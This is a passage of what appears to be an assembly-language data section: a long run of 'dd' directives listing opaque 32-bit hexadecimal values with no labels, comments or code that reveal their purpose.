		dd 0F5D62360h, 77C2BE00h, 5F0E5194h, 0FE641FA2h, 21420080h
		dd 0BFB1F2D9h, 0D73F720Fh, 0DAC6A04Eh, 78C4C302h, 960F0EC8h
		dd 1460D54Dh, 69C759B7h, 69450E30h, 0DEFACh, 0E2315639h
		dd 6377C119h, 2C7F91FEh, 48B2C400h, 7CCF1738h, 0CB260029h
		dd 25411C27h, 0CD1D52FCh, 3D004208h, 0ABE581F9h, 0C86D00DEh
		dd 248E8449h, 7198566Ah, 94349500h, 46EED7E1h, 0FE7B3Fh
		dd 0FA12BE9Ch, 3B4BC1BAh, 0CA7C5C00h, 2D108B3Ch, 90700F2h
		dd 48D35E2Ch, 1600DB3Dh, 9CCBDEDDh, 0E80A7F5h, 49F8C09Eh
		dd 0CFCA00DEh, 406E9381h, 389CA800h, 590E982Bh,	651304DEh
		dd 90C92CACh, 48DC0C2Ch, 0C825ED06h, 0F85773h, 36BDF577h
		dd 0B2B30ED2h, 8478A100h, 4FBC9125h, 0EAB51873h, 7E906982h
		dd 19613104h, 5481038Ah, 23C43B6Dh, 7DA70025h, 1F94CEB4h
		dd 800D9D3h, 0C4282B12h, 0C8E697h, 0FF0D6143h, 7C57AEBEh
		dd 676B1800h, 0F8B4ECB5h, 3D739FBh, 0C05AEF1Fh,	0FA886872h
		dd 0DF3AA58Ah, 7E1F81D1h, 0CD541CF1h, 7CF79EC4h, 467D385Ah
		dd 70C86037h, 6BEA93C8h, 980074F0h, 0B99469F5h,	74B01FCh
		dd 0E27D4589h, 7A0790F0h, 8E0CEA0Dh, 41BD7E81h,	0B1CF0098h
		dd 780B06A1h, 24E085DAh, 0E3D56300h, 9A2335E9h,	5F5100C2h
		dd 3BDE7EABh, 0D207E2CDh, 1E04226Ah, 0AFEB0AA0h, 760C016Eh
		dd 851B32F4h, 54DFCBAh,	55BD5800h, 2BF7BBEEh, 0A0037A06h
		dd 3FC698A0h, 6CC9C3F1h, 467FB400h, 0F882FF4Ah,	959B0501h
		dd 6584F222h, 0ADCE2080h, 0D1EFE8C4h, 0A9E43C00h, 332FE6BCh
		dd 656407EAh, 23B6EEB3h, 24B3B0ECh, 0F4A71F8Ah,	1E15203Bh
		dd 6F00FF70h, 0D54B2C71h, 13E0AA4Ah, 0F3E4Fh, 94A0E1FAh
		dd 714C5255h, 0AAB2001Eh, 1DA17849h, 9C7D04E8h,	90CB97A5h
		dd 1CDC0128h, 0D58EE962h, 14AC481Dh, 186D70AEh,	689ABCCFh
		dd 2F1DA93Eh, 5A80673Fh, 1FD4EEE3h, 950519EDh, 0C03C2847h
		dd 0BB07966Eh, 8C983057h, 0A806B00h, 0D3440E77h, 0C8C07402h
		dd 0AC573667h, 24ED8E4Ch, 0CE00C031h, 9F45EC6Dh, 0D37F5Ah
		dd 0A3F22B61h, 0D463ACDDh, 0B250C203h, 0A8A992h, 6A3D4FB9h
		dd 0E096CCF4h, 0AC9B2600h, 148A8D91h, 1FE67Dh, 3FAAA03Ah
		dd 0A3C43CD5h, 3E16617Ah, 0EF0B5F68h, 914D00CEh, 1FC24027h
		dd 1ED050ADh, 4D0C0088h, 3DA8E0C6h, 0C000537Ah,	4A65F97Bh
		dd 5CD64278h, 0E4007337h, 8D7FA8F7h, 0A900B99Eh, 8140D141h
		dd 1200CB1h, 458687DEh,	0FDBBD8DAh, 0FDEFF8D7h,	807C1000h
		dd 54A73821h, 4D28C71Bh, 0BC822DCh, 98144E40h, 0B7CF3500h
		dd 77585ABAh, 0A84300C6h, 4F82D0D6h, 0ED008A67h, 0C418C792h
		dd 3F4E62FEh, 81011BC3h, 3366783Bh, 0F557D493h,	25C03200h
		dd 0AD45963Ah, 0D7AA2C87h, 8C89021Eh, 54C8D876h, 297814C8h
		dd 416A3204h, 14C0E9B0h, 0FF99E1h, 5C1DC0F3h, 8C3BBC5Eh
		dd 0F7008579h, 4542BA95h, 4A3A48h, 0C38EE879h, 49C0821Fh
		dd 978BE400h, 3EB38788h, 0F56A0410h, 0C00B986Dh, 28A2AF84h
		dd 0C32C3301h, 0C720074Dh, 321FE4h, 97635491h, 2E23BEA8h
		dd 0AC29FC02h, 0C91B6292h, 9DC8B5D8h, 0DFA20E20h, 0A1C06A87h
		dd 0FB7911B9h, 1400F57Fh, 0B62F7D2Ah, 0C5CCA4h,	0B8965615h
		dd 49084B02h, 0ACB9BD03h, 0B067F2E9h, 0FA95C16h, 0D43C3461h
		dd 2911DCA0h, 0DBEC307Ch, 1F9540C0h, 2D7E5h, 63BAFB67h
		dd 0CF6984D1h, 44D6BB24h, 8F399983h, 0A84D8810h, 0D4910E5Ch
		dd 638038E9h, 0F24E7D6Eh, 0A5F47050h, 4811D200h, 0FA8E6F41h
		dd 0AB3728FCh, 7140087h, 64FE06C8h, 7700DE5Dh, 0EF9E5E46h
		dd 0CF0CBh, 28825B34h
		dd 909D74E2h, 5EB6BC00h, 0DE9AC295h, 5DFE0B1Ah,	0E500E761h
		dd 0B8BE15C3h, 0D4C47C12h, 0F89C2003h, 9B93C82Eh, 9A360043h
		dd 725A4EDh, 0BA00584Eh, 0DA1AE710h, 0E476B12h,	0C10D9370h
		dd 74C65B00h, 0A80F79A5h, 80CE42E9h, 4105FF11h,	0E238006Ah
		dd 340FF076h, 5BF073B0h, 30CE2103h, 0D3CA19ECh,	18AC889Eh
		dd 0DEF302B8h, 64256BA5h, 770B39E0h, 0AC00800h,	49AE6AB6h
		dd 0BA7B004Dh, 340DCC3Dh, 0B4000999h, 0FF951D6Bh, 0E73162h
		dd 21E867D2h, 0E3CB7DC9h, 99008971h, 5AC1BFEDh,	5D585A0h
		dd 8B48E4A1h, 0ECD50E4Fh, 9AE40073h, 5AC237DCh,	0A4BD0500h
		dd 99C68831h, 578F00F0h, 730F8A6Ah, 9F02EDADh, 0BDCBA13h
		dd 0EBE4E875h, 401C0083h, 87031F34h, 2A2C4560h,	0C300E0A8h
		dd 61059748h, 84C8A068h, 0FED60009h, 63FB2722h,	1B7BC247h
		dd 7DE26607h, 539C529h,	0BC80D283h, 0CE86B1Fh, 51B1D90h
		dd 0E700CB10h, 5D837AF5h, 47826Ch, 0AFD3C9D6h, 0DBCEA984h
		dd 26D18C00h, 0BD717890h, 0C11600D7h, 0F72EE352h, 2C00A61Dh
		dd 0FC0981E6h, 70CDE036h, 3C650353h, 1F5E4D17h,	0D802718Bh
		dd 381DC5Dh, 0A89A8009h, 0C0C0267Bh, 0E2EBF8F0h, 0FCE4365Eh
		dd 95D4D801h, 0A273A501h, 4DA37824h, 0FF011C82h, 87C9D508h
		dd 3982039h, 3F077CECh,	0A5C0FCB3h, 33DAC200h, 0F227121h
		dd 0A67A6B89h, 67CC5C40h, 0DB009ED5h, 0A5886375h, 3E6B2766h
		dd 0C500FF7Ch, 9C15652Bh, 85004C22h, 0ACCE1D14h, 0E01935EBh
		dd 1B7DF5h, 227EA24h, 0EE5D4DCh, 4790F80Fh, 6C9800EBh
		dd 0C195E18h, 847E6305h, 2E0E66B1h, 0E101CCB5h,	4909A1DCh
		dd 216F0898h, 0B50015BCh, 2C89F47h, 14DDAh, 5D8045D9h
		dd 0A46F54EBh, 19947150h, 77881852h, 9BC2AD00h,	74E91B1Fh
		dd 0E7C33A27h, 0E3218B30h, 7F48C2B5h, 3C1B0013h, 1EC66AAFh
		dd 4D4707FCh, 81B4EE13h, 8966E0F3h, 0C22E660h, 8C946808h
		dd 28C2AE0Dh, 3411601Fh, 0E6008754h, 7500C2B6h,	0F3975FC5h
		dd 4BA3E164h, 50485971h, 1DAB1893h, 231F5DC2h, 0E90F5111h
		dd 0A180C2B3h, 27AF5AD8h, 0EF8C0300h, 203545DCh, 8278185Eh
		dd 0A0116167h, 0AF4E59DCh, 0CEAA8024h, 78FC3359h, 0AD5E00A6h
		dd 467CBD55h, 94E47A80h, 80079E25h, 699AE498h, 8C5C1CE5h
		dd 3C854C82h, 7860EB08h, 69624620h, 0DE020704h,	30C67D8Fh
		dd 2360E1BEh, 0DC268201h, 0E4F9D479h, 8C30FC48h, 8FB52D04h
		dd 6E622101h, 0B594C920h, 84F30C63h, 7A405C1Fh,	0EC61D418h
		dd 3C4FC50h, 81BC730Dh,	398847F2h, 0A000381Eh, 0C9DDA575h
		dd 17049Fh, 692E53ACh, 0DADED584h, 51EBB807h, 10F2C389h
		dd 8895E0AEh, 78F10072h, 56FEEC2Bh, 0A07427C8h,	5A2401E6h
		dd 4500BEAEh, 531262Dh,	0E77607FEh, 0F0B344A6h,	6FA54F4Eh
		dd 510FC6EEh, 0E0DDDC0Fh, 43CC87A1h, 766D075Ch,	10D86C28h
		dd 92323352h, 0AF007CECh, 5A3D8571h, 0DBED23h, 6BEF0935h
		dd 0A0E09282h, 0E6882B01h, 0C49C19BAh, 1EC55AC1h, 0FB239080h
		dd 0C786965Bh, 4300E9FCh, 0C84081F6h, 3120D378h, 8529EDB0h
		dd 0BD61803Ah, 41A7A48Fh, 687C00EAh, 0E6834A7Dh, 27745772h
		dd 0C6848801h, 4D4EE104h, 8C86D0h, 0D13B8D80h, 1D7F03D4h
		dd 0E0287455h, 82FEC4FEh, 67FBE404h, 73003811h,	6F5064D1h
		dd 0A3944B07h, 3B80D0C8h, 0C914FD6h, 8D7885A2h,	0FA0D8458h
		dd 3833696Fh, 0C2B55DCh, 74F191A2h, 783B0BC1h, 159B8096h
		dd 80CF495h, 44F216h, 0F085FF92h, 0A5C8A006h, 0FA042000h
		dd 0E6BA1228h, 6899724Bh, 8084AA86h, 0AB359158h, 0A0008B0Eh
		dd 0D1663D64h, 242CDD67h, 314A36DFh, 0DCBF57D9h, 0B9587F25h
		dd 0A8D00EAh, 0E4530B5Dh, 32BB0001h, 41EEA279h,	4E86FC7h
		dd 34BCD3Ch, 681A5694h,	0D3D100C1h, 3B62DC5Fh, 57003561h
		dd 744516BCh, 1EA0A106h, 0C0AB4E1Fh, 0E2372080h, 0BF00A286h
		dd 0CCB888BCh, 25828Dh,	0AC249D54h, 0F3D391DEh,	0E7AFED00h
		dd 1FCB8041h, 0DF623E5Eh, 0C7BB679Eh, 0C0367B98h, 5C403205h
		dd 477A5500h, 530304ECh, 0BA990087h, 0FA70C030h, 0ED0040F7h
		dd 0C438BB5Eh, 309844E9h, 0FE29C5D0h, 56005B74h, 0CF9019B7h
		dd 61C6A608h, 108EB021h, 0B4B1CCCCh, 9BB0B200h,	0C72C8814h
		dd 3759004Ah, 7AADB33h,	5C17605Eh, 31FFD78h, 2C67C301h
		dd 0CA70F976h, 9C230085h, 1920B707h, 0A1005AF7h, 77B8BF60h
		dd 70FF6CBh, 5C3290BDh,	2CD4D01Eh, 3600D8ADh, 57515A4Ah
		dd 70828DDh, 9BF4EE20h,	27C9C0CEh, 0BD07DCA2h, 110A6B22h
		dd 334047C0h, 0A7E6BFh,	6E8777C6h, 44EECEC2h, 2230C300h
		dd 0F16736A8h, 88C0003Fh, 0CEFA0913h, 0C5729D03h, 0EF01F900h
		dd 0ADA60A0h, 0F4E73A21h, 0AEE3A980h, 0A8B0C435h, 31632400h
		dd 0EF69414Eh, 3E91E40Eh, 0A180959Dh, 223974Ah,	5A001D74h
		dd 445014FAh, 0E21648h,	1AD79B10h, 69190884h, 3300AA79h
		dd 91321C15h, 724C6AEh,	66957EFAh, 549CD1C5h, 93C8E4F4h
		dd 0A1370F00h, 6E2CD7DCh, 60060F61h, 3D40CB35h,	0E2B1BAFCh
		dd 821E2D00h, 0AF67D6CFh, 10940053h, 6B4F9819h,	5A3D403Ch
		dd 0AD7C8358h, 98CEB905h, 24D3A7h, 88F1743Fh, 8793998Ch
		dd 8E124800h, 60C7E318h, 4DAF0065h, 94F8EE1Dh, 55009101h
		dd 70BB0EF0h, 13DA744h,	0FC9EAEEBh, 0EB89B426h,	0BFB2B0F8h
		dd 8295E300h, 2528F47Ch, 5B9B0067h, 43AC5264h, 1BEC8584h
		dd 410A0D1Fh, 91805CC0h, 0FA2CD0h, 0C0D2C8C1h, 27503AB7h
		dd 7AC75516h, 5D631100h, 7D2EE981h, 0A8033B17h,	0B7005448h
		dd 643F4347h, 750FE730h, 619C02D1h, 55ACC5C7h, 8B80F0h
		dd 0E91D3395h, 0AB032BAFh, 606FF507h, 0C4408320h, 3EFCA8C2h
		dd 2C037B78h, 91EC26EBh, 5B6721E0h, 3329B80Fh, 0E537A092h
		dd 2AA38Dh, 752B4AFh, 6BCA214h,	3ED97E03h, 0D8186BA0h
		dd 0CF620EFh, 0A2EC24FCh, 720EB429h, 0E3D489C8h, 808A6A66h
		dd 38B8FE42h, 5600A0BAh, 0A3F43F22h, 0AD006326h, 9DEBA7EDh
		dd 5173B7F1h, 0C8DB82CEh, 4CE0F004h, 35386956h,	0D6B8FD07h
		dd 0EFD5201Ah, 5F018AFFh, 0DB807D14h, 0A30073Ch, 960300C4h
		dd 9C84D74Ch, 4A4C46ABh, 0B0C600F6h, 9E3F21B1h,	0AE20EFCEh
		dd 0EA2012Fh, 4BEED1D9h, 7022E7h, 16B6551Fh, 2392073h
		dd 0DD458E0Fh, 0A68063B1h, 0C380F19Ah, 0D86ADA00h, 0E9E3A528h
		dd 650300CDh, 9ED41E07h, 0C50056AAh, 4CFFEAF7h,	139D428Ah
		dd 76410B7h, 603ACB98h,	0B227DAA2h, 0E573Bh, 0C87B0F32h
		dd 8D5002h, 3508F746h, 87C22F73h, 784FF48h, 0BB9F1275h
		dd 90927773h, 515C3Bh, 0C7E5CED7h, 0B220C990h, 0A17B771h
		dd 0B6075410h, 7D001837h, 90B906h, 942C766h, 0DC23FD19h
		dd 0FA69DE0Eh, 4813A631h, 0D4AF0018h, 3D53F6DDh, 0F8393239h
		dd 70B201C5h, 35BA1565h, 96B824h, 4903D031h, 0B5C8486Bh
		dd 0DAC13700h, 94B2A7F6h, 89A400EDh, 0B80A55Eh,	0D0001EF8h
		dd 3C65584Bh, 22462Eh, 83F1A2BEh, 0C6C51335h, 0B01E9830h
		dd 18D03256h, 10E7DE19h, 0E00F216h, 9A06CB45h, 0E554498Bh
		dd 0C825A450h, 0AB8624CAh, 0D8F80090h, 73F7FD60h, 215C100h
		dd 0FE669C13h, 924F184Dh, 0AEEA50AAh, 282FBE00h, 6CEE357Eh
		dd 9CBD00FBh, 4213A3ACh, 0F00A0C5h, 0DF496197h,	2D034A7h
		dd 78196439h, 64403E3Bh, 9400DABBh, 34FD1FDCh, 9C7BF3h
		dd 0BC9A13D4h, 5C3A327Dh
		dd 0FD599E39h, 0BF757800h, 5F96181Eh, 80F6603Fh, 0D6B96A73h
		dd 2E79DE15h, 0CEB801F0h, 1B86BA5Bh, 38EA0F0h, 0B253D870h
		dd 0F00A5CC0h, 18DBE03Eh, 3D33BC00h, 0E863B959h, 2AD9E85Fh
		dd 40287EDEh, 1B0E5ED1h, 8096BC45h, 364B378Bh, 0B19F0126h
		dd 97162905h, 0F456F01Ch, 0C8DDAC07h, 4190808Eh, 14613ECAh
		dd 0B863B55Dh, 6268B230h, 0EA0238F5h, 0DFA48E10h, 0D4388080h
		dd 563D4Ah, 0DC5CFCAFh,	31E8D9B8h, 97BB4B00h, 0F80EA452h
		dd 23C202B3h, 3A3BDBC3h, 436A0BC0h, 83389D38h, 409E0DCDh
		dd 4D30A8FFh, 0EA2EC68h, 0F294F557h, 82872860h,	54001889h
		dd 1BF08FFBh, 0F7AA0322h, 793EC0h, 4F33F7BCh, 0E863A7C2h
		dd 43FC5001h, 422027A4h, 32DCABFDh, 0BEF9003Fh,	0DDE089EDh
		dd 2300C91Dh, 0F5185C90h, 700144C8h, 7009F2B6h,	7334015Bh
		dd 33E654BEh, 0D98EC4CBh, 63D8CF03h, 0E8E8DB10h, 3894660Fh
		dd 2B872355h, 208BBFF1h, 27DDE48Dh, 0B3395Ch, 1F0BEFD0h
		dd 54D8545Bh, 8FE84Fh, 0B3D39BC5h, 8A15A7E3h, 288BAF00h
		dd 0EBF57455h, 0C4A354F8h, 0C2EE01FFh, 16BD9B1Dh, 302DD5E9h
		dd 0A501ECFCh, 3AFF4BB8h, 598060B4h, 0C25CD28Ah, 2DEA39F1h
		dd 0DC009892h, 0FAD43154h, 0D13C24h, 73E1B411h,	90B3B8Dh
		dd 51713F01h, 54E0A201h, 6D55C60h, 0F7F2BFEAh, 8C3889ADh
		dd 680079B3h, 0C5176B89h, 0FF8254h, 476A49D5h, 0E05EDE4Fh
		dd 0B039DC00h, 0B3543A03h, 4E11DE7h, 0B5A00F8h,	0EAD3AD9Bh
		dd 0DD82A709h, 6E20207Dh, 7040FFDh, 0F52C43CEh,	82E5B093h
		dd 80185E5Ah, 0C82932DCh, 0A7260087h, 22A92A21h, 7E00CA51h
		dd 0E529B15Bh, 0C43CD258h, 0BADEB4F1h, 0B3ADF100h, 0F482F875h
		dd 8D9073h, 0E071497Ah,	0E20C427Eh, 81EBC700h, 0DA8FC606h
		dd 0B1600004h, 3BB2B9EDh, 0ACA85DAEh, 0C07E281h, 0CAB559F9h
		dd 56EA0088h, 0C31049DEh, 2785BEEh, 0CC01E001h,	36BD5993h
		dd 0F0D2B99Fh, 1792F899h, 3A81210Ah, 290ED446h,	0F1B380C9h
		dd 0DE38D94Fh, 2D8D0029h, 0DCFE86C4h, 6718C37Fh, 0FC515EDDh
		dd 0F0FA3A7Eh, 0B02C9F80h, 0E2EA3E24h, 6C005CE0h, 0BFC69726h
		dd 6C35BFAh, 0D822EC99h, 0A500C956h, 0E07EAAE2h, 97A416h
		dd 0A1EAA3B5h, 3DC09887h, 0D48A5100h, 575EA75Ch, 394B60D9h
		dd 0D8966E2Fh, 46000F70h, 0BE499F79h, 0C4B548h,	8E60DA56h
		dd 0B47A95E8h, 0AEC36A03h, 1F30B8E4h, 0F9D32DD1h, 67DC9C50h
		dd 0C01AC934h, 505714BEh, 0C7ECE11Eh, 0B0AFDF0Ah, 293ADC8Ch
		dd 72E23CB3h, 8028E000h, 0AE7D78Dh, 4DD0CA01h, 33D9DE06h
		dd 13326980h, 381941B2h, 2582E900h, 14E6A9F5h, 592426E1h
		dd 42D130ABh, 0E8EA99CFh, 0C90E1A72h, 5ED5F15h,	0B425695Ah
		dd 0B4C1A030h, 6849000Eh, 0F3F7BC5h, 0C0EB3340h, 0F40E306Eh
		dd 4054B22Fh, 0E822ADCFh, 72590286h, 6AECB980h,	56F0F083h
		dd 0F3A081A3h, 7F489020h, 0DE3A5Ch, 0B63413F6h,	0EC56035h
		dd 49C85A0Ah, 817A7263h, 18EAB3F8h, 73665000h, 4C709DC9h
		dd 52E00058h, 890978A8h, 0A9C72FD2h, 0D420246Fh, 589008h
		dd 0C4CE170Ch, 9A787DD5h, 5A7B1E00h, 7AA4C98Ah,	77400472h
		dd 8CEA7ED7h, 79005010h, 5D7CF6CDh, 905F0ED4h, 8A020A7Ch
		dd 808C35DBh, 8C70D01Dh, 5928A1ACh, 14040CBEh, 2784BA86h
		dd 0F574CCh, 0AA81F8BCh, 5A774310h, 6D216100h, 355E12D0h
		dd 9473097Bh, 7893F7A0h, 0D59E7688h, 904E6300h,	9D03F5A6h
		dd 0DFF400E0h, 5CB0F7E6h, 0D2043AC8h, 0DBEB04C0h, 2AB488h
		dd 47996542h, 0D67B8991h, 0C2F6FC00h, 0A7327814h, 52D73525h
		dd 83548099h, 0FB00026Ch, 827F9805h, 0ABC806Ah,	871AD1B3h
		dd 0E1F907D0h, 402E85F5h, 5E1D39B0h, 9900E85Ah,	49F744A5h
		dd 4CD00643h, 0A10075F2h, 0C63B24DDh, 0D248D4E6h, 6A9780E8h
		dd 0EE65C789h, 0EF37026Fh, 0A57C6631h, 99937CA1h, 8C913007h
		dd 5D34801h, 31BE3595h,	403BDF8h, 7B351C8h, 8C5088DCh
		dd 0AFF4DB00h, 694E233Fh, 0C49C0068h, 0E375A080h, 6000CD3Ch
		dd 0D1C0C199h, 0C1B7E563h, 16CACB39h, 16AC32DDh, 0AE4D9Ah
		dd 9D8D716Eh, 5B72A10Bh, 59A93906h, 20A8C48Ah, 0B000D3E1h
		dd 2C140576h, 73FD3C01h, 609D0F1Ah, 8363B51Dh, 590161DCh
		dd 0BB44435Bh, 33C87721h, 9A960E0Eh, 403E2CA8h,	0FB323E9h
		dd 1374D7B4h, 2EF6F003h, 0B0B1D5B2h, 1569A860h,	903FF93Bh
		dd 0C8A90279h, 0D9EBA6E6h, 2900E444h, 6A063F50h, 91CF4Ah
		dd 52AD1123h, 0BED4667Bh, 0F440158h, 0D36AD7FEh, 0FFEBD000h
		dd 488E8974h, 95C108CAh, 0FF997694h, 0E1BFAEB0h, 56F84900h
		dd 0D27C8764h, 0E010488Bh, 4C20709h, 83EAFC80h,	6A00E6FEh
		dd 0B64CDB1h, 13871D85h, 203AB2E2h, 0D980AA7Ch,	0A7113260h
		dd 50C2AFh, 961BEDFEh, 5D6C64D3h, 393E7DFAh, 0B402003Ah
		dd 34A172E0h, 552F76E6h, 0C443803Dh, 8D22F0FAh,	2E23045Dh
		dd 0CC179192h, 0B40016A8h, 0C3F9A319h, 1E8DEDFh, 0FAD24377h
		dd 803EDB2Eh, 0EBA461E8h, 0C04EDDA9h, 169B9EB8h, 0E754F94Dh
		dd 1E1607F0h, 11682ACh,	0E2264600h, 12701F8h, 19ABC95Ch
		dd 525AD9E7h, 61C0039Ch, 8E28A364h, 504CE092h, 7996C09Ch
		dd 0D7BD94h, 887547DFh,	9326720Ch, 0D977C012h, 0F5FFAC20h
		dd 0E1E90089h, 345DAF51h, 291D478Fh, 1043C580h,	0DB737AA3h
		dd 0C866A0FAh, 28E1582Dh, 89B9E285h, 33DAF0B0h,	876E9C7h
		dd 3B6DD8E0h, 9E4B1B3h,	5890625Ah, 0B77B220Dh, 36DEFCFDh
		dd 0D480F491h, 0AFC70980h, 669700DAh, 0A0AB96E3h, 0A700A37Bh
		dd 8C7A9F40h, 0F801494h, 9201B76Ch, 0C1071E00h,	10902270h
		dd 0EFB13200h, 4C1DD98Dh, 0A42A07A8h, 0C05F94BDh, 0C5B064D7h
		dd 160DBE1Dh, 0B4FF8E00h, 0E7ED9Eh, 0FD0B14Ch, 0E11DA273h
		dd 0B218E900h, 2A7FB3F8h, 328807E5h, 0A021DF07h, 0D2B8D730h
		dd 8F00B4B1h, 8C83C3A7h, 9D7D0724h, 20C632ACh, 0B4CD72B7h
		dd 0E297C406h, 33136AEh, 28191A7Fh, 3BE8995Dh, 0D8B8EEFEh
		dd 0AF59EF0Ah, 0C09C9438h, 0B7B9AA40h, 249AABDDh, 4100BB3Bh
		dd 0F87F6681h, 74B0D3E6h, 2AB7F4E9h, 5C39F824h,	0E3BDC880h
		dd 288F19Bh, 71B18EDFh,	0B0608106h, 6158D6CDh, 552240h
		dd 7CE0C78Fh, 65CA58C8h, 0DA004E76h, 0C4D3D0Eh,	0B8E9CF2Ch
		dd 5F8D0058h, 6F7F08B7h, 5958FEEBh, 5A5D090Dh, 554C68C1h
		dd 588314C2h, 0AD0078D9h, 41A3561Ah, 3D48FCDBh,	0F4792E58h
		dd 7B005C11h, 95997876h, 3160D96Ch, 26DEA039h, 22001F4h
		dd 0C899A1E4h, 0B3F74046h, 48D62A89h, 0F8CC3900h, 0C4AD3h
		dd 0B474735Eh, 0C67CE2B0h, 0C0ACED50h, 458B8E02h, 40AC091Bh
		dd 9FCA814h, 3CDC2E89h,	324AF411h, 8E6E1F20h, 0A8D1605Bh
		dd 0A0D8B4h, 0CC34467Ah, 85DE6396h, 10F3A601h, 0AACDEECAh
		dd 8B16E80h, 0DFFF6EB5h, 2F6243Ch, 0BD3B6079h, 0DE84465Ah
		dd 0F24A0E71h, 442EDF20h, 0F9F0E6B6h, 0EA7F9E0Ah, 631AE74Eh
		dd 2C349881h, 39710096h, 2167B10Ch, 0A7A0C715h,	0DD7C14FEh
		dd 0DC4E540Ch, 1743927h, 9A6AF7F9h, 0E749BF19h,	52176097h
		dd 0E000767Dh, 59C80F8Fh, 905B03C2h, 0DAD20F0Ch, 0C12A543Ch
		dd 786A11C4h, 8D34D500h, 0AABFCE55h, 0AF0D019Ch, 185AD2BEh
		dd 0A328C8C1h, 90CD5306h, 3817CDCh, 0F2161BE2h,	9803CC2h
		dd 5E0239ADh, 0F7EB32E4h, 5784A3AEh, 0A36CA0DEh, 0C683032Ah
		dd 0F24682D8h, 7E1E6A70h
		dd 41C01EDFh, 0A5E7FB4h, 0D8EC354Bh, 0E2748099h, 0B02C1EFAh
		dd 501150F8h, 662C007Bh, 48467F78h, 0DD008A1Fh,	0C6EEEDCAh
		dd 4C89A8D6h, 419FE0DBh, 12DAA1FDh, 2FBCC45Ah, 848419CBh
		dd 0C98E128h, 0EAD20088h, 0B92EAE56h, 0F09016C2h, 0D47F8A04h
		dd 78C8B83Bh, 0E13A60F8h, 0A9E2E30Ch, 2FA7D202h, 4683ECAAh
		dd 0BE07808h, 14523F70h, 0A925B080h, 0F500C1C5h, 0E0796921h
		dd 60FB5004h, 0E8B32044h, 5D7C82D4h, 16A8EE01h,	9F746780h
		dd 2C145BD0h, 0C586CE7h, 0EE087F27h, 2BC2F0E9h,	73A7E74h
		dd 0B760820Bh, 0C4E6F8F9h, 718B7B3Ch, 3E5B90CCh, 0ABAE8AF0h
		dd 38456090h, 59009811h, 670964DDh, 382D92D5h, 3D859EADh
		dd 80A8E926h, 0E80BFE14h, 252E5D90h, 0CD0EE8ECh, 560909h
		dd 44C58D9Eh, 12CB9F8h,	0E1E33359h, 0E0A840E6h,	8EF0EBD5h
		dd 8020D948h, 3875E494h, 79BE00B5h, 3A099E13h, 9C077B2Fh
		dd 5EED03DDh, 1068D61h,	28863070h, 52D0544Ch, 0F200C4D9h
		dd 4FC48CD4h, 0AC125CA6h, 0C8082D30h, 9CA060h, 0E506F5B1h
		dd 15E3D74Ah, 5A3F9F06h, 0F8893CBEh, 759E0FDEh,	68895769h
		dd 2FEB7C48h, 7C9A8C90h, 220B5B06h, 44805EACh, 0E4EAB952h
		dd 2481B07h, 83805C8Ah,	5657263h, 0EBA07466h, 6EC01D4h
		dd 0D0866776h, 16F05161h, 5D40C496h, 4D3650h, 9559FB6Bh
		dd 0AD25A949h, 0B029CC01h, 5EAE833Ch, 58B2718Ah, 977B8BA8h
		dd 0D48CE809h, 0A80CCB49h, 1183DC7Fh, 0E038B91Fh, 0D98AA331h
		dd 0F039091h, 0AFB7CF72h, 79D051E7h, 1613A8A9h,	7CA2E9h
		dd 8546229Ch, 0E01F17CBh, 38CB4AEAh, 0F6C098ACh, 0F1700052h
		dd 1E6F7CDEh, 99019CB4h, 1168C1D3h, 0A893550Dh,	0C724D0B7h
		dd 7D7FDDD4h, 0D28B8A00h, 10AAEB57h, 30A90242h,	40DC2F23h
		dd 0F05B2449h, 60002A17h, 0E247F809h, 9ABF004h,	587F3AF1h
		dd 6269BC91h, 0A9E809ACh, 0C0900195h, 4C72DC8Dh, 0E4345600h
		dd 5FC2697Ah, 0A66AFC02h, 705C61AEh, 3B227208h,	0B581B419h
		dd 0D8FB0416h, 55618059h, 4323F58Ch, 1EBE00DBh,	7D4EF9E7h
		dd 0C8A84BB4h, 0CE0683D6h, 0A0394ADFh, 55BA3E10h, 84687401h
		dd 70DA8B80h, 0C24C7370h, 0F0491829h, 7F77C38h,	71668206h
		dd 0FED82A6h, 73B4CCE0h, 59B33D01h, 0F562CFB1h,	0D220E02Bh
		dd 7B149C00h, 5A485D77h, 0A9CC0572h, 0C0F48FAAh, 0FE83ED90h
		dd 0B4E2020Ah, 0B180B839h, 0CFB75B06h, 55080FDDh, 0D3E025B3h
		dd 96CA1B71h, 22AE6F00h, 0D278BF81h, 38E89023h,	0F911CB8Ch
		dd 0FBE209A3h, 10392087h, 38C0F4h, 557235C5h, 0E8D9A0DEh
		dd 4C82A104h, 7CE4B23Bh, 1C665C5Ah, 0A069C9C6h,	0C090B64Ch
		dd 0CF196203h, 40D84AFAh, 1BFD438h, 0B1F9565h, 0F88CC00Fh
		dd 98C6893Bh, 81E00196h, 17CF124Ah, 3901FBDAh, 0AA95787h
		dd 987489B8h, 0EE73097Bh, 94088081h, 0FDB84088h, 0C0A05038h
		dd 0AB004D53h, 0CAB7378Fh, 0F0E995E8h, 80DC94F8h, 0A071023Ah
		dd 4F1EA233h, 320276E3h, 0E0F3E26Bh, 9C69798h, 53E4AB90h
		dd 0DDA57010h, 0B3E8D609h, 0F6580011h, 14A225DFh, 0C409EC19h
		dd 4E30A079h, 16290066h, 749BDF0Eh, 0C7001D34h,	0CBC99FF6h
		dd 0EEB15F8Bh, 0D2562136h, 0E033C10Fh, 0D54C03DAh, 0F70629B7h
		dd 0A4970090h, 3F024287h, 18ADF604h, 0A8C1A251h, 0A88A2A4Bh
		dd 0CF0C104h, 9F088716h, 8FEC6D00h, 0C3FA8070h,	71DB0997h
		dd 80E8B0E2h, 0D8AB54D7h, 0D17A50E0h, 8085703Bh, 0FD60DA5Dh
		dd 122A1580h, 0EF34Ah, 8D822734h, 0E700975Ch, 86AB1FD4h
		dd 0AFE51D2h, 0EC98C3Ah, 0F00D00CCh, 2C5405DFh,	4914E926h
		dd 0AC07130h, 0C9EFA0C7h, 7B30385h, 29729E5Dh, 356C8294h
		dd 4B197F20h, 6CEB0423h, 0A5BA3BD5h, 92BC2878h,	999E0501h
		dd 0C2D8A188h, 78A0EE18h, 0CEB7905h, 69D9D18Fh,	7100C751h
		dd 0F69D22DAh, 0FA53965h, 0BD6E0CFBh, 0D3408200h, 0EA1D32E6h
		dd 9BA7FA1h, 0A6AEABh, 6B22E0BCh, 45801C67h, 7B17C174h
		dd 158FAC9h, 8C62F709h,	34829403h, 1E3B97Ah, 206277B1h
		dd 0B801D6A1h, 4AEBDDC0h, 603052F5h, 9DA8B1EFh,	2C3700A8h
